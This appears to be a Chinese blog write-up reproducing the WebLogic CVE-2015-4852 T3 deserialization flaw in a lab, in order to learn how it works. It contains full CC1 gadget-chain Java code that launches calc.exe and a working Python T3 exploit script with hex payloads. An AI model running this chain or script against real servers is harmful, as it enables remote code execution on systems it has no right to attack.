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CVE-2015-4852环境搭建及复现
javatransform:125, InvokerTransformer (org.apache.commons.collections.functors)transform:122, ChainedTransformer (org.apache.commons.collections.functors)get:157, LazyMap (org.apache.commons.collections.map)invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)entrySet:-1, $Proxy57 (com.sun.proxy)readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:39, NativeMethodAccessorImpl (sun.reflect)invoke:25, DelegatingMethodAccessorImpl (sun.reflect)invoke:597, Method (java.lang.reflect)invokeReadObject:969, ObjectStreamClass (java.io)readSerialData:1871, ObjectInputStream (java.io)readOrdinaryObject:1775, ObjectInputStream (java.io)readObject0:1327, ObjectInputStream (java.io)readObject:349, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)
分析
反序列化链条
这里使用的是cc1
```javapackage ysoserial.payloads;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import org.jsoup.select.Evaluator;import org.python.antlr.op.In;import javax.swing.*;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {//Transformer//Method f = Runtime.class.getMethod("getRuntime");//Runtime r = (Runtime) f.invoke(null);//r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");//不能调用runtime的序列化，原因是没有继承searlize类，使用下面的方法来进行反射的使用Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, newObject[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc.exe" }),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();// innerMap.put("value", "xxxx");Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 使用反射将AnnotationInvocationHandler来进行示例化，并传入我们的构造的mapClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);//对AnnotationInvocationHandler来进行proxyMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);//代理之后的对象叫做proxymap，我们不能直接序列化，因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject，所以使用AnnotationInvocationHandler对这个proxymap进行包裹handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
LazyMap
LazyMap和TransformedMap类似，都来自于Common-Collections库，并继承 AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是，TransformedMap是在写入元素的时候执行transform，而LazyMap是在其get方法中执行的 factory.transform。
javapublic Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法,所以我们找到了另一条路，使用AnnotationInvocationHandler的invoke方法，也就是对象代理。
javapublic Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {switch (var4) {case "toString":return this.toStringImpl();case "hashCode":return this.hashCodeImpl();case "annotationType":return this.type;default://这里调用了value方法Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}}}
我们可以粗浅的认为，对象代理就是一个复合函数，类似g(f(x)),来进行劫持一个对象内部的方法调用，我们需要用到一个类是 java.reflect.Proxy：
javapublic static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
newProxyInstance需要三个参数：
第一个是classloader，我们通常都使用默认的
第二个参数是我们需要代理的接口的集合
第三个参数是一个实现了InvocationHandler的对象，里面包含了具体代理的逻辑
我们先构造一个transformer时候的ChainedTransformer对象
javaTransformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc.exe" }),};Transformer transformerChain = new ChainedTransformer(transformers);
我们使用LazyMap来进行替换TransformedMap
javaMap outerMap = LazyMap.decorate(innerMap, transformerChain);
接着，需要对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy
java// 使用反射将AnnotationInvocationHandler来进行示例化，并传入我们的构造的mapClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);//对AnnotationInvocationHandler来进行proxyMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
但是我们不能直接对prxymap直接进行序列化，因为我们的入口点是readobject函数，我们还需要再次对proxymap进行包裹
javahandler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
javaAnnotationInvocationHandler的readobject函数private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();//此处是调用点Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}
bash->AnnotationInvocationHandler.readObject()->mapProxy.entrySet().iterator() //动态代理类->AnnotationInvocationHandler.invoke()->LazyMap.get()->ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->…………
环境问题搭配，因为我用的是8u111，AnnotationInvocationHandler 的readobject类
javaprivate void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {ObjectInputStream.GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Map.Entry var9 = (Map.Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);}
并没有出现Iterator var4 = this.memberValues.entrySet().iterator();的类似的调用map函数的语句，但是再debug的时候依然会弹出计算器，原因是在debug的时候下面会使用一些经过proxy的map对象的函数，类似tostring，所以会造成invoke的调用来弹出计算器
根据poc脚本来简单学习一下如何构造T3协议
pythonimport socketimport structdef exp(host, port):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_address = (host, int(port))data = ""try:sock.connect(server_address)headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)sock.sendall(headers)data = sock.recv(2)f = open('./tmp', 'rb')payload_obj = f.read()f.close()payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')payload2 = payload_objpayload = payload1 + payload2 + payload3payload = struct.pack('>I', len(payload)) + payload[4:]sock.send(payload)data = sock.recv(4096)except socket.error as e:print (u'socket 连接异常！')finally:sock.close()exp('172.16.2.129', 7001)
bashsudo tcpdump -i any port 7001 -w t3.pcap
将反序列化过程中的流量包截取下来
追踪tcp流，首先看发送的head
网上了解到总共存在两种方式来构造java序列化数据，第一种是将weblogic发送的java序列化数据的第二到第七部分的java序列化数据替换为恶意的序列化数据
第二种为weblogic发送的java序列化数据的第一部分与恶意的序列化数据进行拼接
脚本中的payload为第一个部分，前四个字节(0x5ba)为数据包的长度，payload3为其它的java反序列化数据，然后在中间插上我们的恶意数据
以前接触的java漏洞也比较少，这次学习花了很久的时间，主要是反序列化链条实在太令人头痛了，还有就是以前也从来没有使用过wireshark来分析过协议，这一次主要简单学习一下脚本到底构造了什么内容，这些都是最基础的内容，后面会进行继续跟进学习，看这些代码是怎么进行不断修复，又是怎么有人会进行不断的绕过。
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原文始发于微信公众号（极星信安）：通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞
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